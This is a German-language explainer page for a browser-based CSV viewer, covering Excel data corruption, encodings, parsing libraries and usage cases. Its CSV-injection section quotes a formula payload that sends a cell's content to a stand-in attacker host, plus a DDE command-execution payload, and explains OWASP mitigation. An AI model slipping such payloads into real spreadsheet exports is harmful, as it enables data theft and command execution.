Kostenloser CSV-Viewer

Warum "CSV ohne Excel ansehen" ein eigener Use Case ist

Die naive Antwort auf "Wie öffne ich eine CSV?" lautet "Doppelklick, Excel öffnet sie." Für einen überraschend großen Anteil derer, die wirklich in eine CSV schauen müssen, ist diese Antwort falsch. Die Gründe verteilen sich auf vier Kategorien, und jede ist ein echter Anlass, in einem browserbasierten Viewer wie diesem zu landen.

1. Excel zerstört Daten beim Öffnen. Das meistzitierte Beispiel ist die Gen-Namens-Katastrophe: Excel liest MARCH1 und schreibt 1-Mar, liest SEPT2 und schreibt 2-Sep. Das HUGO Gene Nomenclature Committee gab den Kampf gegen Excel auf und benannte 2020 siebenundzwanzig menschliche Gene um, so flächendeckend war die Datenbeschädigung. Ein PLOS-Computational-Biology-Paper von 2020 mit 3.597 Publikationen fand, dass etwa ein Fünftel der ergänzenden genetischen Daten von Excels Autokonvertierung stillschweigend verfälscht wurde. Gene sind der berühmte Fall, aber derselbe Mechanismus frisst US-ZIP-Codes (01234 wird zu 1234), Produkt-SKUs mit führenden Nullen, Bruchnotation in Musik oder Chemie (3/4, 4/4), datumsförmige Seriennummern (1-1, 2-2), Telefondurchwahlen und Kontonummern in wissenschaftlicher Notation (9.18e+12 statt 9180000000000). Ein Viewer, etwas, das die rohen Bytes wie geschrieben anzeigt, ist nicht nur bequem, er ist eine Korrektheits-Primitive. Wer prüfen muss, ob eine Spalte Kunden-IDs einen Export unversehrt überlebt hat, braucht einen Viewer, der nicht parst, nicht konvertiert, nicht "hilft".

2. Excel ist nicht auf der Maschine. Ein nicht-trivialer Anteil der Laptops im Jahr 2026 hat keine Microsoft-365-Lizenz. Chromebooks werden ohne ausgeliefert; viele Linux-Installationen nutzen LibreOffice Calc mit eigenen Eigenheiten; viele Mac-Nutzer öffnen CSVs in Apple Numbers, das lange Zeilen still umbricht und eine eigene Zahlen-Konvertierungs-Persönlichkeit hat. Wer eine Datei auf einer Firmen-Maschine ohne Installationsrechte, auf einem ausgeliehenen Gerät oder an einem Kiosk inspizieren will, braucht ein Werkzeug, das in jedem Browser-Tab ohne Berechtigungen läuft.

3. Die Datei ist größer, als Excel zulässt. Excel 2007 führte .xlsx ein und hob die Zeilenobergrenze von 65.536 (.xls) auf 1.048.576 Zeilen (2²⁰). Die Spaltenobergrenze stieg von 256 auf 16.384 (2¹⁴). Zwei Jahrzehnte reichte das den meisten. Vielen reicht es nicht mehr. Ein bescheidenes Serverlog kann in einer Woche zwei Millionen Zeilen erzeugen. Ein Shopify-Export eines Jahres an Bestellungen für einen mittelgroßen Shop kann eine Million überschreiten. Ein Sensor mit 1 Hz Abtastrate erzeugt 86.400 Zeilen pro Tag; ein Jahr sind 31,5 Millionen. Excels Umgang mit Überlauf ist brutal: Es schneidet stillschweigend bei Zeile 1.048.576 ab und macht weiter, als sei nichts gewesen. Es gibt kein Warnbanner. Der Nutzer entdeckt die fehlenden Zeilen Wochen später, falls überhaupt.

4. Mobil. Tabellenkalkulations-Apps auf iOS und Android sind Bürger zweiter Klasse. Die Excel-Mobile-App existiert, sitzt aber hinter einem Microsoft-Konto, bietet nur einen kleinen Teil der Desktop-Funktionen und ist mühsam zum Inspizieren breiter Tabellen auf dem Handy. Manchmal will man einfach einen Anhang öffnen, den ein Kollege per Mail geschickt hat, einen Blick auf ein paar Zeilen werfen, einen Screenshot machen und antworten. Ein CSV-Viewer, der in einem mobilen Browser lädt, die Daten als scrollbare HTML-Tabelle formatiert und sonst nichts tut, ist das beste Werkzeug dafür.

Und ein fünfter, kleinerer Eimer: Screenshot für eine Nachricht. Häufig will man nur ein sauberes Bild von drei oder vier Zeilen, das man in Slack, in ein Ticket, in eine E-Mail-Antwort einfügen kann. Die Datei in Excel zu öffnen und zu screenshotten liefert ein Bild mit Menüband, Gitterlinien, aktivem Zellselektor und Dateipfadleiste oben, zwanzig Prozent des Screenshots sind Excel-UI. Eine nackte, in einem Browser-Tab gerenderte HTML-Tabelle ist das sauberste denkbare Screenshot-Motiv.

Eine kurze Geschichte (die für das Ansehen relevanten Teile)

Die vollständige CSV-Geschichte steht auf der Schwester-Seite text-to-csv: IBM-Fortran 1972, Jahrzehnte informeller Nutzung, RFC 4180 endlich im Oktober 2005 von Yakov Shafranovich veröffentlicht, MIME-Typ text/csv bei der IANA registriert, das W3C Model for Tabular Data and Metadata on the Web (CSVW) erreicht am 17. Dezember 2015 den W3C-Recommendation-Status (und wird in der Praxis weitgehend ignoriert). Für das Ansehen wichtig ist: Keines dieser Dokumente legt fest, wie eine CSV anzuzeigen ist. Es gibt keine kanonische Spaltenbreite, keine Ausrichtungs-Konvention, keine Regel, ob Zeile 1 eine Kopfzeile ist. RFC 4180 sagt dem Schreiber, wie er Kommas zu escapen hat; dem Leser sagt sie nichts zur Darstellung. Die Arbeit des Viewers ist von der Spezifikation undefiniert.

Was wir haben, sind Konventionen aus der Tabellenkalkulation (Text links, Zahlen rechts, erste Zeile fixiert, abwechselnde Zeilenfarben für Lesbarkeit) und Konventionen aus Web-Tabellen (sortierbare Header, Sticky-Positionierung, Suchfelder über dem Grid). Ein moderner CSV-Viewer ist im Grunde eine Tabellenkalkulations-UI ohne die Bearbeitung.

Die Fallen von Locale-Separator und BOM

Das Locale-Separator-Chaos, das CSV-Schreiber beißt, beißt auch Leser: Komma in en-US, Semikolon in fr-FR / de-DE / it-IT / es-ES / pt-BR, Tab und Pipe anderswo. Ein Viewer, der hart auf Komma codiert und eine französische "CSV" als eine einzige Spalte pro Zeile rendert, ist bei der Ankunft kaputt. Der Standardwert "Auto-Erkennung" mit manuellem Override in diesem Tool ist das richtige Design: das Schlaue versuchen, aber wenn die Heuristik versagt (und sie wird es, bei Dateien mit einer einzigen Spalte, deren Werte alle ein Komma enthalten), kann der Nutzer wählen.

Das Byte-Order-Mark, die drei Bytes EF BB BF am Anfang einer UTF-8-Datei, kodierend U+FEFF, existiert, weil Excel unter Windows sich weigert, UTF-8 ohne es zu erkennen. Ein höflicher CSV-Schreiber stellt das BOM voran, um Excel-freundlich zu sein; die Kosten landen bei jedem anderen Leser. Fast jedes Kommandozeilenwerkzeug, awk, cut, head, tail, ältere sed, behandelt das BOM als Teil des ersten Felds. Ein Spalten-Header, der name heißen sollte, liest sich als name. Pythons eingebautes csv-Modul entfernt das BOM nicht, außer die Datei wird mit dem Codec utf-8-sig geöffnet; eine Million Tutorials verwendet schlichtes utf-8 und produziert klammheimlich kaputte Parser. Wenn Sie ein seltsames Zeichen vor Ihrem ersten Spaltenheader sehen, ist das ein UTF-8-Byte-Order-Mark, kein Bug in der Datei, nur ein Fehlpassen zwischen Encoder und Decoder.

Excels vier "CSV"-Varianten

Excels Speichern-unter-Dialog bietet vier "CSV"-Formate, und die Etiketten sind irreführend. Die "Comma delimited"-Etiketten verwenden in Wahrheit das Listentrennzeichen der Nutzer-Locale, das in den meisten Teilen Kontinentaleuropas und Lateinamerikas ein Semikolon ist.

• CSV (Comma delimited): nutzt das Listentrennzeichen der Nutzer-Locale, ANSI-Codepage, kein BOM, CRLF.
• CSV UTF-8 (Comma delimited): in Excel 2016 hinzugekommen, das einzige der vier, das UTF-8 nutzt (mit BOM).
• CSV (Macintosh): MacRoman-Codierung, Classic-Mac-CR-only-Zeilenenden, weitgehend obsolet, taucht aber noch auf.
• CSV (MS-DOS): OEM-Codepage (CP437 in en-US, CP850 in Westeuropa).

Ein Viewer, der über alle Varianten "einfach funktionieren" will, muss Codierung erkennen (UTF-8 ± BOM, UTF-16 mit BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), Zeilenenden (CRLF / LF / CR), Separator (Komma / Semikolon / Tab / Pipe / benutzerdefiniert), Quoting-Stil (RFC-4180-doppelte-Anführungszeichen, Backslash, keiner) und Header-Präsenz. Das alles zuverlässig zu erkennen ist wirklich schwer. Der pragmatische Ansatz: erkenne, was du kannst, exponiere manuelle Overrides für den Rest, und versage niemals stillschweigend. Dieses Tool exponiert den Delimiter manuell, was die häufigste Überraschung abdeckt. Es exponiert noch nicht die Codierung, eine französische CSV als Windows-1252 mit Akzenten zeigt Mojibake (é statt é), bis auch dafür ein richtiger Override existiert.

Parsing im Browser, die Bibliotheken

Die dominante Client-Side-CSV-Bibliothek ist PapaParse, 2013 von Matt Holt erstellt, derzeit etwa 13,4k GitHub-Sterne. Ihr Slogan, "the fastest in-browser CSV parser", ist keine Übertreibung. Sie ist RFC-4180-konform, MIT-lizenziert, ohne Abhängigkeiten, unterstützt synchrones String-Parsing, asynchrones Datei-Parsing via FileReader, streaming chunkweises Parsing für Dateien größer als RAM und Worker-Thread-Parsing, um die UI reaktiv zu halten. PapaParse ist die Standardwahl in jedem CSV-Tool im Browser, sofern es keinen spezifischen Grund dagegen gibt.

Auf der Node-Seite ist die kanonische Wahl csv-parse (Adaltas, erstveröffentlicht 2010), produktionserprobt, mit Callback- und Stream-basierten APIs. csv-parser von mafintosh priorisiert rohen Durchsatz über Funktionsbreite. fast-csv (C2FO) ist ein in TypeScript gebautes Parser-Formatter-Duo für Teams, die Lesen und Schreiben in derselben Bibliothek wollen.

Streaming für Dateien größer als RAM

Naives CSV-Lesen im Browser verwendet FileReader.readAsText(file), das die gesamte Datei in den Speicher liest, bevor onload aufgerufen wird. Für eine 100-MB-Datei sind das 100 MB JavaScript-Heap. Für eine 1-GB-Datei geht dem Browser-Tab auf den meisten Consumer-Geräten der Speicher aus, oder er stockt zum Stillstand.

Die moderne Alternative ist die Streams API, verfügbar als File.prototype.stream() seit Chrome 71 und Firefox 65. file.stream() liefert einen ReadableStream<Uint8Array>, der die Bytes der Datei in Chunks ausgibt. Der Konsument liest aus dem Stream, dekodiert jeden Chunk via TextDecoder (mit dem Flag stream: true, damit Multi-Byte-UTF-8-Sequenzen, die Chunk-Grenzen überspannen, korrekt zusammengefügt werden), und füttert den Text an einen Streaming-Parser. PapaParse kann einen Stream direkt über seinen step- oder chunk-Callback aufnehmen. Das Ergebnis ist Parsing mit konstantem Speicher für beliebig große Dateien.

Für einen Viewer reicht Streaming allein nicht, die gerenderte Tabelle muss auch virtualisiert werden, sonst bringt das Rendern von zehn Millionen <tr>-Elementen die Seite zum Absturz, selbst wenn das Parsing erfolgreich war. Das Standard-Architekturmuster: Stream-Parse nach IndexedDB beim Laden, virtualisiertes Rendering aus IndexedDB beim Scrollen. Dieses Tool ist derzeit für Dateien im unteren zweistelligen MB-Bereich optimiert, für den typischen Workflow "Ich will mir die Datei nur ansehen", der nahezu jeden abdeckt. Für CSVs im Multi-GB-Bereich schauen Sie sich Desktop-Tools wie Visidata, die FROM-Klausel des DuckDB-CLI oder csvkits csvlook an.

Sortieren, filtern, pivotieren, die JavaScript-Grid-Landschaft

Sobald Daten in der Seite sind, will der Nutzer drei Dinge: nach Spalte sortieren, Zeilen filtern, manchmal pivotieren. Eine ganze Industrie von JavaScript-Bibliotheken implementiert das im Browser-DOM neu:

• DataTables.js von Allan Jardine (Arbeit begann 2008, SpryMedia 2011 gegründet) ist der Patriarch. Nimm eine beliebige HTML-<table>, erhalte sortierbare Header, ein Sofort-Suchfeld, Paginierung und Spalten-Ein-/Ausblenden-Steuerungen. Ursprünglich jQuery-basiert; funktioniert gut als Drop-in. Komfortabel bis zu Zehntausenden Zeilen; bei Hunderttausenden wird die Paginierung tragend.
• AG Grid von Niall Crosby (2015, entstanden aus Crosbys Frust mit Grids auf den Londoner Handelsetagen) ist das Schwergewicht. Um DOM-Virtualisierung herum gebaut, nur die im Viewport sichtbaren Zeilen werden tatsächlich gerendert, sodass eine Million Zeilen mit einer einzigen Scrollbar komfortabel angezeigt werden können. Kostenlose Community Edition (MIT) plus kostenpflichtige Enterprise Edition (Pivot-Tabellen, erweiterte Filter, integrierte Charts, Server-Side-Row-Modelle). Standardwahl für "Ich baue ein ernsthaftes Daten-Tool, das im Browser wie Excel aussehen muss."
• Tabulator von Oli Folkerd ist die moderne abhängigkeitsfreie Alternative. Version 4.0 (2018) ließ alle Abhängigkeiten einschließlich jQuery fallen; liegt im Sweet Spot zwischen "DataTables ist zu jQuery-lastig" und "AG Grid ist zu viel".

Speziell zum Pivotieren ist PivotTable.js von Nicolas Kruchten die meistzitierte JS-Bibliothek; der Pivot-Modus von AG Grid Enterprise ist die kommerzielle Wahl. Pivotieren ist eine schwere Operation, oft besser durch Export der Daten in ein Tool, das sie zuerst indizieren kann.

CSV gegen Apache Parquet für Analytik-Lasten

Der Grund, warum CSV überlebt, ist kulturell und trägheitsbedingt, nicht technisch. Für ernsthafte Analytik hat das Format, das CSV das Mittagessen geklaut hat, einen Namen: Apache Parquet, ein binäres spaltenorientiertes Format, das ursprünglich 2013 gemeinsam von Ingenieuren bei Twitter und Cloudera entwickelt und am 27. April 2015 als Top-Level-Projekt der Apache Software Foundation aufgenommen wurde. Parquet speichert Daten spalten- statt zeilenweise, das ist die Umkehrung, die für Analytik zählt: eine Abfrage wie SELECT AVG(price) FROM big_table liest nur die Spalte price von der Platte und überspringt jede andere komplett. Mit CSV muss dieselbe Abfrage jedes Byte der Datei lesen.

Parquet trägt außerdem Schema-Metadaten (Typen sind explizit, nicht abgeleitet), nutzt spaltenweise Kompression mit Faktoren von routinemäßig 5-10x gegenüber unkomprimiertem CSV und unterstützt Predicate Pushdown, sodass Engines ganze Zeilengruppen anhand von Spaltenstatistiken überspringen können. Es ist das Default-Dateiformat auf Snowflake, BigQuery, Databricks, Amazon Athena und im Grunde jedem modernen Cloud-Data-Warehouse und Lakehouse. Wenn Sie dieselbe Datei im GB-Bereich wiederholt einsehen, ziehen Sie Parquet in Betracht, es ist schneller und kleiner, und nahezu jedes moderne Daten-Tool liest es nativ. CSV versteht man heute am besten als Austausch-Format zwischen Menschen und dem Long Tail der Consumer-Software, während Parquet das Speicher-Format zwischen Maschinen ist.

CSV-Injektion, der Sicherheitsaspekt

CSV-Injektion, manchmal Formelinjektion genannt, ist der Angriff, bei dem ein Wert in einer CSV-Zelle mit =, +, - oder @ beginnt und Excel sowie Google Sheets ihn beim Öffnen der Datei als Formel interpretieren. OWASP dokumentiert das mindestens seit 2014. Das Lehrbuchbeispiel ist =2+5, das als 7 statt als wörtlicher Text dargestellt wird. Das gefährliche Beispiel ist =HYPERLINK("https://evil.example/log?d="&A1, "Click for results"), das beim Klick den Inhalt der Zelle A1 zu einem Angreifer exfiltriert. Das wirklich gefährliche Beispiel war =cmd|'/c calc'!A0, das in bestimmten Excel-Versionen beliebige Befehle via DDE starten konnte, durch Microsofts DDE-Default-Änderungen 2018 deutlich entschärft, in manchen Konfigurationen aber noch vorhanden.

Die Standard-Gegenmaßnahme nach OWASP-Leitlinien: Beim Erzeugen einer CSV aus nutzer-gestelltem Text jede Zelle, die mit =, +, -, @, Tab oder Wagenrücklauf beginnt, mit einem einfachen Anführungszeichen präfixen. Ein Viewer ist die Empfangsseite dieses Angriffs, nicht die Ursprungsseite, aber wenn Sie hier eine CSV mit Formel-präfixierten Zellen geöffnet haben, ist das ein starker Hinweis, dieselbe Datei nicht in Excel zu öffnen, ohne diese Zellen vorher zu ersetzen. Der ganze Sinn, zuerst in einem Viewer zu inspizieren, ist genau diese Falle zu erwischen.

Wo Menschen in der Praxis einen solchen Viewer öffnen

• CSVs aus Bank- oder Fintech-Auszügen. Die meisten Retail-Banken lassen Kunden ein Jahr Transaktionshistorie als CSV herunterladen. Kunden wollen die Datei vor dem Import in eine Budget-App, ein Steuer-Tool oder die Tabelle eines Buchhalters anschauen: Datumsbereich prüfen, Transaktionen zählen, nach einem bestimmten Händler suchen.
• IoT- und Sensor-Daten-Exporte. Wetterstations-CSV, Bodenfeuchte-Sensor-Log, Smart-Home-Stromzähler-Export. Oft zehntausende Zeilen. Der Nutzer bestätigt, dass das Sampling über einen bestimmten Zeitraum durchgehalten hat und es keine Lücken gibt.
• Server-Log-Dumps. Apache-Combined-Log-Format in CSV konvertiert, syslog-Einträge per logger -t exportiert, Anwendungslogs nach S3 verschickt und zur Inspektion heruntergeladen.
• CRM- und SaaS-Exporte. Salesforce-Account-Export, HubSpot-Kontakte, Stripe-Kunden, Mailchimp-Zielgruppen, Shopify-Bestellungen, Notion-Datenbank. Jede SaaS-Plattform hat ihr eigenes CSV-Format und ihre Eigenheiten. Der Nutzer inspiziert vor Mass-Edit, vor Re-Import oder bevor er die Datei einem Kollegen weitergibt.
• Umfrageergebnisse. Google Forms, SurveyMonkey, Typeform, Qualtrics, alle exportieren standardmäßig CSV. Forscher wollen die Freitext-Antworten anschauen, ein Gefühl für die Verteilung bekommen und prüfen, dass nichts leer ist.
• Public-Data-Downloads. Regierungs-Open-Data-Portale (data.gov, data.gov.uk, EU Open Data Portal), Wikipedia-Datenexporte, wissenschaftliche Datenrepositorien. CSV ist der gemeinsame Nenner.
• Vorbereitung für Bulk-Import. Der Nutzer hat eine CSV von Hand oder mit einem anderen Tool zusammengestellt und will prüfen, ob sie wohlgeformt ist, bevor er sie in ein System lädt, das fehlerhafte Zeilen stillschweigend ablehnt. Der Viewer ist der Trockenlauf.
• Erbschaft. Ein Kollege hat eine CSV geschickt. Der Nutzer weiß nicht, was darin ist. Er will einen Blick darauf werfen, bevor er entscheidet, ob er sich tiefer damit befasst.

Weitere Fragen

Wie groß darf die Datei sein, die hier geöffnet wird?

Die aktuelle Implementierung kommt mit Dateien im unteren zweistelligen MB-Bereich gut zurecht, denen, die bequem in den Browser-Speicher passen und als vernünftige HTML-Tabelle rendern. Bei Dateien im dreistelligen MB-Bereich oder darüber wird die Seite langsam; im Gigabyte-Bereich kann dem Browser-Tab der Speicher ausgehen und er abstürzen. Für sehr große CSVs schauen Sie sich Desktop-Tools wie Visidata, csvkits csvlook oder das FROM 'file.csv' des DuckDB-CLI an.

Warum erscheint meine CSV als eine einzige riesige Spalte?

Die automatische Delimiter-Erkennung hat falsch geraten. Das passiert am häufigsten bei Dateien mit Semikolon (Großteil Kontinentaleuropas), Tab (TSV-Dateien fälschlich als CSV bezeichnet) oder Pipe (manche Datenbank-Exporte). Wechseln Sie das Delimiter-Dropdown auf das richtige Zeichen, oft stimmen Dateiendung und tatsächlicher Inhalt nicht überein.

Meine Sonderzeichen sehen aus wie Müll. Was ist los?

Codierungs-Fehlpassung, die Datei ist in Windows-1252 (oder einer anderen Nicht-UTF-8-Codierung) codiert und das Tool interpretiert sie als UTF-8. Klassisches Symptom: é erscheint als é. Der aktuelle Viewer exponiert keinen Codierungs-Override, aber Sie können die Datei in jedem modernen Texteditor (Notepad++, VS Code, BBEdit, gedit, sogar das aktuelle Notepad unter Windows) neu als UTF-8 speichern und hier erneut öffnen.

Soll ich das hier nutzen oder einfach in Excel öffnen?

Wenn Ihre CSV nur Daten enthält, die Excel nicht versehentlich beschädigen kann, reine Prosa-Text-Spalten, einfache Ganzzahlen im üblichen Bereich, Datumsangaben im von Excel erwarteten Format, ist Excel in Ordnung und die Bearbeitungs-Werkzeuge sind reichhaltiger. Enthält Ihre CSV irgendetwas, das Excel umschreiben könnte (Gen-Namen, ZIP-Codes mit führenden Nullen, Brüche wie 3/4, Strings in Form wissenschaftlicher Notation, alles, was byte-genau erhalten bleiben muss), öffnen Sie sie zuerst in einem Viewer, um zu bestätigen, was wirklich drin ist, bevor Excel daran rührt. Die Stunde, die Sie hier mit Öffnen verbringen, ist viel billiger als die Entdeckung eine Woche später, dass Excel Ihren Gen-Satz umbenannt hat.